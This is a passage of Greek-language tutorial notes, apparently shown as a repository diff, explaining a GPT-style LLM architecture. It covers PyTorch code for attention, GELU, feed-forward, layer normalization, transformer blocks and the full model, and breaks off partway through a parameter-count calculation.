# d_in is the dimensions er token
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
torch.manual_seed(123)
batch_size, context_length, d_in = batch.shape
d_out = 2
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
context_vecs = mha(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
Για μια άλλη συμπαγή και αποδοτική υλοποίηση, μπορείτε να χρησιμοποιήσετε την [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) κλάση στο PyTorch.
> [!TIP]
> Σύντομη απάντηση του ChatGPT σχετικά με το γιατί είναι καλύτερο να διαιρούμε τις διαστάσεις των tokens μεταξύ των heads αντί να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις όλων των tokens:
>
> Ενώ η δυνατότητα σε κάθε head να επεξεργάζεται όλες τις διαστάσεις embedding μπορεί να φαίνεται πλεονεκτική επειδή κάθε head θα έχει πρόσβαση σε όλες τις πληροφορίες, η τυπική πρακτική είναι να **διαιρούμε τις διαστάσεις embedding μεταξύ των heads**. Αυτή η προσέγγιση ισορροπεί την υπολογιστική αποδοτικότητα με την απόδοση του μοντέλου και ενθαρρύνει κάθε head να μάθει ποικιλόμορφες αναπαραστάσεις. Επομένως, η διαίρεση των διαστάσεων embedding προτιμάται γενικά από το να έχει κάθε head πρόσβαση σε όλες τις διαστάσεις.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,666 +0,0 @@
# 5. Αρχιτεκτονική LLM
## Αρχιτεκτονική LLM
> [!TIP]
> Ο στόχος αυτής της πέμπτης φάσης είναι πολύ απλός: **Αναπτύξτε την αρχιτεκτονική του πλήρους LLM**. Συνδυάστε τα πάντα, εφαρμόστε όλα τα επίπεδα και δημιουργήστε όλες τις λειτουργίες για να παράγετε κείμενο ή να μετατρέπετε κείμενο σε IDs και αντίστροφα.
>
> Αυτή η αρχιτεκτονική θα χρησιμοποιηθεί τόσο για την εκπαίδευση όσο και για την πρόβλεψη κειμένου μετά την εκπαίδευση.
Παράδειγμα αρχιτεκτονικής LLM από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
Μια υψηλού επιπέδου αναπαράσταση μπορεί να παρατηρηθεί σε:
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **Είσοδος (Κωδικοποιημένο Κείμενο)**: Η διαδικασία ξεκινά με κωδικοποιημένο κείμενο, το οποίο μετατρέπεται σε αριθμητικές αναπαραστάσεις.
2. **Επίπεδο Ενσωμάτωσης Κωδικών και Επίπεδο Θέσης**: Το κωδικοποιημένο κείμενο περνά μέσα από ένα **επίπεδο ενσωμάτωσης κωδικών** και ένα **επίπεδο ενσωμάτωσης θέσης**, το οποίο καταγράφει τη θέση των κωδικών σε μια ακολουθία, κρίσιμο για την κατανόηση της σειράς των λέξεων.
3. **Μπλοκ Transformer**: Το μοντέλο περιέχει **12 μπλοκ transformer**, το καθένα με πολλαπλά επίπεδα. Αυτά τα μπλοκ επαναλαμβάνουν την εξής ακολουθία:
- **Masked Multi-Head Attention**: Επιτρέπει στο μοντέλο να εστιάζει σε διάφορα μέρη του εισερχόμενου κειμένου ταυτόχρονα.
- **Κανονικοποίηση Επίπεδου**: Ένα βήμα κανονικοποίησης για τη σταθεροποίηση και τη βελτίωση της εκπαίδευσης.
- **Επίπεδο Feed Forward**: Υπεύθυνο για την επεξεργασία των πληροφοριών από το επίπεδο προσοχής και την πρόβλεψη του επόμενου κωδικού.
- **Επίπεδα Dropout**: Αυτά τα επίπεδα αποτρέπουν την υπερβολική προσαρμογή απορρίπτοντας τυχαία μονάδες κατά τη διάρκεια της εκπαίδευσης.
4. **Τελικό Επίπεδο Έξοδου**: Το μοντέλο εξάγει έναν **τε tensor διαστάσεων 4x50,257**, όπου **50,257** αντιπροσωπεύει το μέγεθος του λεξιλογίου. Κάθε γραμμή σε αυτόν τον tensor αντιστοιχεί σε ένα διάνυσμα που το μοντέλο χρησιμοποιεί για να προβλέψει την επόμενη λέξη στην ακολουθία.
5. **Στόχος**: Ο στόχος είναι να ληφθούν αυτές οι ενσωματώσεις και να μετατραπούν ξανά σε κείμενο. Συγκεκριμένα, η τελευταία γραμμή της εξόδου χρησιμοποιείται για να παραγάγει την επόμενη λέξη, που αναπαρίσταται ως "forward" σε αυτό το διάγραμμα.
### Αναπαράσταση Κώδικα
```python
import torch
import torch.nn as nn
import tiktoken
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
return self.layers(x)
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
def forward(self, x):
b, num_tokens, d_in = x.shape
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"])
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# Shortcut connection for attention block
shortcut = x
x = self.norm1(x)
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
# Shortcut connection for feed forward block
shortcut = x
x = self.norm2(x)
x = self.ff(x)
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
return x
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(
cfg["emb_dim"], cfg["vocab_size"], bias=False
)
def forward(self, in_idx):
batch_size, seq_len = in_idx.shape
tok_embeds = self.tok_emb(in_idx)
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
x = self.drop_emb(x)
x = self.trf_blocks(x)
x = self.final_norm(x)
logits = self.out_head(x)
return logits
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 1024, # Context length
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-Key-Value bias
}
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
out = model(batch)
print("Input batch:\n", batch)
print("\nOutput shape:", out.shape)
print(out)
```
### **Συνάρτηση Ενεργοποίησης GELU**
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
```
#### **Σκοπός και Λειτουργικότητα**
- **GELU (Gaussian Error Linear Unit):** Μια συνάρτηση ενεργοποίησης που εισάγει μη γραμμικότητα στο μοντέλο.
- **Ομαλή Ενεργοποίηση:** Σε αντίθεση με το ReLU, το οποίο μηδενίζει τις αρνητικές εισόδους, το GELU χαρτογραφεί ομαλά τις εισόδους στις εξόδους, επιτρέποντας μικρές, μη μηδενικές τιμές για αρνητικές εισόδους.
- **Μαθηματικός Ορισμός:**
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Ο στόχος της χρήσης αυτής της συνάρτησης μετά από γραμμικά επίπεδα μέσα στο επίπεδο FeedForward είναι να αλλάξει τα γραμμικά δεδομένα σε μη γραμμικά, επιτρέποντας στο μοντέλο να μάθει πολύπλοκες, μη γραμμικές σχέσεις.
### **Δίκτυο Νευρώνων FeedForward**
_Σχήματα έχουν προστεθεί ως σχόλια για να κατανοηθούν καλύτερα τα σχήματα των μητρών:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
# x shape: (batch_size, seq_len, emb_dim)
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Σκοπός και Λειτουργικότητα**
- **Δίκτυο FeedForward κατά Θέση:** Εφαρμόζει ένα δίκτυο πλήρως συνδεδεμένο δύο επιπέδων σε κάθε θέση ξεχωριστά και ομοιόμορφα.
- **Λεπτομέρειες Επιπέδου:**
- **Πρώτο Γραμμικό Επίπεδο:** Επεκτείνει τη διάσταση από `emb_dim` σε `4 * emb_dim`.
- **Ενεργοποίηση GELU:** Εφαρμόζει μη γραμμικότητα.
- **Δεύτερο Γραμμικό Επίπεδο:** Μειώνει τη διάσταση πίσω σε `emb_dim`.
> [!NOTE]
> Όπως μπορείτε να δείτε, το δίκτυο Feed Forward χρησιμοποιεί 3 επίπεδα. Το πρώτο είναι ένα γραμμικό επίπεδο που θα πολλαπλασιάσει τις διαστάσεις κατά 4 χρησιμοποιώντας γραμμικά βάρη (παράμετροι προς εκπαίδευση μέσα στο μοντέλο). Στη συνέχεια, η συνάρτηση GELU χρησιμοποιείται σε όλες αυτές τις διαστάσεις για να εφαρμόσει μη γραμμικές παραλλαγές ώστε να συλλάβει πλουσιότερες αναπαραστάσεις και τελικά ένα άλλο γραμμικό επίπεδο χρησιμοποιείται για να επιστρέψει στο αρχικό μέγεθος των διαστάσεων.
### **Μηχανισμός Πολυκεφαλικής Προσοχής**
Αυτό έχει ήδη εξηγηθεί σε προηγούμενη ενότητα.
#### **Σκοπός και Λειτουργικότητα**
- **Πολυκεφαλική Αυτοπροσοχή:** Επιτρέπει στο μοντέλο να εστιάζει σε διαφορετικές θέσεις μέσα στην είσοδο κατά την κωδικοποίηση ενός token.
- **Κύρια Στοιχεία:**
- **Ερωτήσεις, Κλειδιά, Τιμές:** Γραμμικές προβολές της εισόδου, που χρησιμοποιούνται για τον υπολογισμό των σκορ προσοχής.
- **Κεφάλια:** Πολλαπλοί μηχανισμοί προσοχής που εκτελούνται παράλληλα (`num_heads`), καθένας με μειωμένη διάσταση (`head_dim`).
- **Σκορ Προσοχής:** Υπολογίζονται ως το εσωτερικό γινόμενο των ερωτήσεων και των κλειδιών, κλιμακωμένα και μάσκες.
- **Μάσκα:** Εφαρμόζεται μια αιτιώδης μάσκα για να αποτραπεί το μοντέλο από το να εστιάζει σε μελλοντικά tokens (σημαντικό για αυτοπαραγωγικά μοντέλα όπως το GPT).
- **Βάρη Προσοχής:** Softmax των μάσκων και κλιμακωμένων σκορ προσοχής.
- **Διάνυσμα Πλαισίου:** Ζυγισμένο άθροισμα των τιμών, σύμφωνα με τα βάρη προσοχής.
- **Προβολή Εξόδου:** Γραμμικό επίπεδο για να συνδυάσει τις εξόδους όλων των κεφαλιών.
> [!NOTE]
> Ο στόχος αυτού του δικτύου είναι να βρει τις σχέσεις μεταξύ των tokens στο ίδιο πλαίσιο. Επιπλέον, τα tokens χωρίζονται σε διαφορετικά κεφάλια προκειμένου να αποτραπεί η υπερβολική προσαρμογή, αν και οι τελικές σχέσεις που βρίσκονται ανά κεφάλι συνδυάζονται στο τέλος αυτού του δικτύου.
>
> Επιπλέον, κατά την εκπαίδευση εφαρμόζεται μια **αιτιώδης μάσκα** ώστε τα μελλοντικά tokens να μην λαμβάνονται υπόψη κατά την αναζήτηση συγκεκριμένων σχέσεων με ένα token και εφαρμόζεται επίσης κάποια **dropout** για να **αποτραπεί η υπερβολική προσαρμογή**.
### **Κανονικοποίηση** Επίπεδου
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5 # Prevent division by zero during normalization.
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
```
#### **Σκοπός και Λειτουργικότητα**
- **Layer Normalization:** Μια τεχνική που χρησιμοποιείται για να κανονικοποιήσει τις εισόδους σε όλη τη διάρκεια των χαρακτηριστικών (embedding dimensions) για κάθε μεμονωμένο παράδειγμα σε μια παρτίδα.
- **Συστατικά:**
- **`eps`:** Ένας μικρός σταθερός αριθμός (`1e-5`) που προστίθεται στη διακύμανση για να αποτραπεί η διαίρεση με το μηδέν κατά τη διάρκεια της κανονικοποίησης.
- **`scale` και `shift`:** Μαθητές παράμετροι (`nn.Parameter`) που επιτρέπουν στο μοντέλο να κλιμακώνει και να μετατοπίζει την κανονικοποιημένη έξοδο. Αρχικοποιούνται σε ένα και μηδέν, αντίστοιχα.
- **Διαδικασία Κανονικοποίησης:**
- **Υπολογισμός Μέσου (`mean`):** Υπολογίζει τον μέσο όρο της εισόδου `x` σε όλη τη διάρκεια της διάστασης embedding (`dim=-1`), διατηρώντας τη διάσταση για broadcasting (`keepdim=True`).
- **Υπολογισμός Διακύμανσης (`var`):** Υπολογίζει τη διακύμανση του `x` σε όλη τη διάρκεια της διάστασης embedding, διατηρώντας επίσης τη διάσταση. Η παράμετρος `unbiased=False` διασφαλίζει ότι η διακύμανση υπολογίζεται χρησιμοποιώντας τον μεροληπτικό εκτιμητή (διαιρώντας με `N` αντί για `N-1`), που είναι κατάλληλο όταν κανονικοποιούμε σε χαρακτηριστικά αντί για δείγματα.
- **Κανονικοποίηση (`norm_x`):** Αφαιρεί τον μέσο όρο από το `x` και διαιρεί με την τετραγωνική ρίζα της διακύμανσης συν `eps`.
- **Κλίμακα και Μετατόπιση:** Εφαρμόζει τις μαθητές παραμέτρους `scale` και `shift` στην κανονικοποιημένη έξοδο.
> [!NOTE]
> Ο στόχος είναι να διασφαλιστεί ένας μέσος όρος 0 με διακύμανση 1 σε όλες τις διαστάσεις του ίδιου token. Ο στόχος αυτού είναι να **σταθεροποιήσει την εκπαίδευση βαθιών νευρωνικών δικτύων** μειώνοντας την εσωτερική μετατόπιση παραλλαγών, η οποία αναφέρεται στην αλλαγή της κατανομής των ενεργοποιήσεων του δικτύου λόγω της ενημέρωσης των παραμέτρων κατά τη διάρκεια της εκπαίδευσης.
### **Transformer Block**
_Οι σχήματα έχουν προστεθεί ως σχόλια για να κατανοήσουμε καλύτερα τα σχήματα των μητρών:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"]
)
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# x shape: (batch_size, seq_len, emb_dim)
# Shortcut connection for attention block
shortcut = x # shape: (batch_size, seq_len, emb_dim)
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
# Shortcut connection for feedforward block
shortcut = x # shape: (batch_size, seq_len, emb_dim)
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
return x # Output shape: (batch_size, seq_len, emb_dim)
```
#### **Σκοπός και Λειτουργικότητα**
- **Σύνθεση Στρωμάτων:** Συνδυάζει multi-head attention, feedforward network, layer normalization και residual connections.
- **Layer Normalization:** Εφαρμόζεται πριν από τα στρώματα προσοχής και feedforward για σταθερή εκπαίδευση.
- **Residual Connections (Συντομεύσεις):** Προσθέτει την είσοδο ενός στρώματος στην έξοδό του για να βελτιώσει τη ροή του gradient και να επιτρέψει την εκπαίδευση βαθιών δικτύων.
- **Dropout:** Εφαρμόζεται μετά από τα στρώματα προσοχής και feedforward για κανονικοποίηση.
#### **Λειτουργικότητα Βήμα-Βήμα**
1. **Πρώτη Διαδρομή Residual (Self-Attention):**
- **Είσοδος (`shortcut`):** Αποθηκεύστε την αρχική είσοδο για τη σύνδεση residual.
- **Layer Norm (`norm1`):** Κανονικοποιήστε την είσοδο.
- **Multi-Head Attention (`att`):** Εφαρμόστε self-attention.
- **Dropout (`drop_shortcut`):** Εφαρμόστε dropout για κανονικοποίηση.
- **Προσθήκη Residual (`x + shortcut`):** Συνδυάστε με την αρχική είσοδο.
2. **Δεύτερη Διαδρομή Residual (FeedForward):**
- **Είσοδος (`shortcut`):** Αποθηκεύστε την ενημερωμένη είσοδο για την επόμενη σύνδεση residual.
- **Layer Norm (`norm2`):** Κανονικοποιήστε την είσοδο.
- **FeedForward Network (`ff`):** Εφαρμόστε τη μετασχηματιστική διαδικασία feedforward.
- **Dropout (`drop_shortcut`):** Εφαρμόστε dropout.
- **Προσθήκη Residual (`x + shortcut`):** Συνδυάστε με την είσοδο από την πρώτη διαδρομή residual.
> [!NOTE]
> Το μπλοκ transformer ομαδοποιεί όλα τα δίκτυα μαζί και εφαρμόζει κάποια **κανονικοποίηση** και **dropouts** για να βελτιώσει τη σταθερότητα και τα αποτελέσματα της εκπαίδευσης.\
> Σημειώστε πώς γίνονται τα dropouts μετά τη χρήση κάθε δικτύου ενώ η κανονικοποίηση εφαρμόζεται πριν.
>
> Επιπλέον, χρησιμοποιεί επίσης συντομεύσεις που συνίστανται στο **να προσθέτουμε την έξοδο ενός δικτύου με την είσοδό του**. Αυτό βοηθά στην πρόληψη του προβλήματος της εξαφάνισης του gradient διασφαλίζοντας ότι τα αρχικά στρώματα συμβάλλουν "τόσο όσο" και τα τελευταία.
### **GPTModel**
_Οι σχήματα έχουν προστεθεί ως σχόλια για να κατανοήσουμε καλύτερα τα σχήματα των μητρών:_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
# shape: (vocab_size, emb_dim)
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
# shape: (context_length, emb_dim)
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
)
# Stack of TransformerBlocks
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
# shape: (emb_dim, vocab_size)
def forward(self, in_idx):
# in_idx shape: (batch_size, seq_len)
batch_size, seq_len = in_idx.shape
# Token embeddings
tok_embeds = self.tok_emb(in_idx)
# shape: (batch_size, seq_len, emb_dim)
# Positional embeddings
pos_indices = torch.arange(seq_len, device=in_idx.device)
# shape: (seq_len,)
pos_embeds = self.pos_emb(pos_indices)
# shape: (seq_len, emb_dim)
# Add token and positional embeddings
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
# x shape: (batch_size, seq_len, emb_dim)
x = self.drop_emb(x) # Dropout applied
# x shape remains: (batch_size, seq_len, emb_dim)
x = self.trf_blocks(x) # Pass through Transformer blocks
# x shape remains: (batch_size, seq_len, emb_dim)
x = self.final_norm(x) # Final LayerNorm
# x shape remains: (batch_size, seq_len, emb_dim)
logits = self.out_head(x) # Project to vocabulary size
# logits shape: (batch_size, seq_len, vocab_size)
return logits # Output shape: (batch_size, seq_len, vocab_size)
```
#### **Σκοπός και Λειτουργικότητα**
- **Embedding Layers:**
- **Token Embeddings (`tok_emb`):** Μετατρέπει τους δείκτες των tokens σε embeddings. Ως υπενθύμιση, αυτά είναι τα βάρη που δίνονται σε κάθε διάσταση κάθε token στο λεξιλόγιο.
- **Positional Embeddings (`pos_emb`):** Προσθέτει πληροφορίες θέσης στα embeddings για να καταγράψει τη σειρά των tokens. Ως υπενθύμιση, αυτά είναι τα βάρη που δίνονται στα tokens σύμφωνα με τη θέση τους στο κείμενο.
- **Dropout (`drop_emb`):** Εφαρμόζεται στα embeddings για κανονικοποίηση.
- **Transformer Blocks (`trf_blocks`):** Στοίβα `n_layers` transformer blocks για την επεξεργασία των embeddings.
- **Final Normalization (`final_norm`):** Κανονικοποίηση επιπέδου πριν από το επίπεδο εξόδου.
- **Output Layer (`out_head`):** Προβάλλει τις τελικές κρυφές καταστάσεις στο μέγεθος του λεξιλογίου για να παραγάγει logits για πρόβλεψη.
> [!NOTE]
> Ο στόχος αυτής της κλάσης είναι να χρησιμοποιήσει όλα τα άλλα αναφερόμενα δίκτυα για να **προβλέψει το επόμενο token σε μια ακολουθία**, το οποίο είναι θεμελιώδες για εργασίες όπως η γεννήτρια κειμένου.
>
> Σημειώστε πώς θα **χρησιμοποιήσει τόσα πολλά transformer blocks όσο υποδεικνύεται** και ότι κάθε transformer block χρησιμοποιεί ένα multi-head attestation net, ένα feed forward net και αρκετές κανονικοποιήσεις. Έτσι, αν χρησιμοποιηθούν 12 transformer blocks, πολλαπλασιάστε αυτό με 12.
>
> Επιπλέον, ένα **κανονικοποιητικό** επίπεδο προστίθεται **πριν** από την **έξοδο** και ένα τελικό γραμμικό επίπεδο εφαρμόζεται στο τέλος για να αποκτήσει τα αποτελέσματα με τις κατάλληλες διαστάσεις. Σημειώστε πώς κάθε τελικός διανύσματος έχει το μέγεθος του χρησιμοποιούμενου λεξιλογίου. Αυτό συμβαίνει επειδή προσπαθεί να αποκτήσει μια πιθανότητα ανά πιθανό token μέσα στο λεξιλόγιο.
## Αριθμός Παραμέτρων προς εκπαίδευση
Έχοντας καθορίσει τη δομή του GPT, είναι δυνατόν να βρείτε τον αριθμό των παραμέτρων προς εκπαίδευση:
```python
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 1024, # Context length
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-Key-Value bias
}
model = GPTModel(GPT_CONFIG_124M)
total_params = sum(p.numel() for p in model.parameters())
print(f"Total number of parameters: {total_params:,}")
# Total number of parameters: 163,009,536
```
### **Βήμα-Βήμα Υπολογισμός**
#### **1. Ενσωματωμένα Επίπεδα: Ενσωμάτωση Token & Ενσωμάτωση Θέσης**
- **Επίπεδο:** `nn.Embedding(vocab_size, emb_dim)`
- **Παράμετροι:** `vocab_size * emb_dim`
```python
token_embedding_params = 50257 * 768 = 38,597,376
```
- **Επίπεδο:** `nn.Embedding(context_length, emb_dim)`
- **Παράμετροι:** `context_length * emb_dim`
```python
position_embedding_params = 1024 * 768 = 786,432
```
**Συνολικές Παράμετροι Ενσωμάτωσης**
```python
embedding_params = token_embedding_params + position_embedding_params
embedding_params = 38,597,376 + 786,432 = 39,383,808
```
#### **2. Μπλοκ Μετασχηματιστή**
Υπάρχουν 12 μπλοκ μετασχηματιστή, οπότε θα υπολογίσουμε τις παραμέτρους για ένα μπλοκ και στη συνέχεια θα πολλαπλασιάσουμε με το 12.
**Παράμετροι ανά Μπλοκ Μετασχηματιστή**
**α. Πολυκεφαλική Προσοχή**
- **Συστατικά:**
- **Γραμμικό Επίπεδο Ερώτησης (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Γραμμικό Επίπεδο Κλειδιού (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Γραμμικό Επίπεδο Τιμής (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
- **Έξοδος Πρόβλεψης (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
- **Υπολογισμοί:**
- **Κάθε από τα `W_query`, `W_key`, `W_value`:**
```python
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
```
Δεδομένου ότι υπάρχουν τρία τέτοια επίπεδα:
```python
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
```
- **Έξοδος Πρόβλεψης (`out_proj`):**
```python
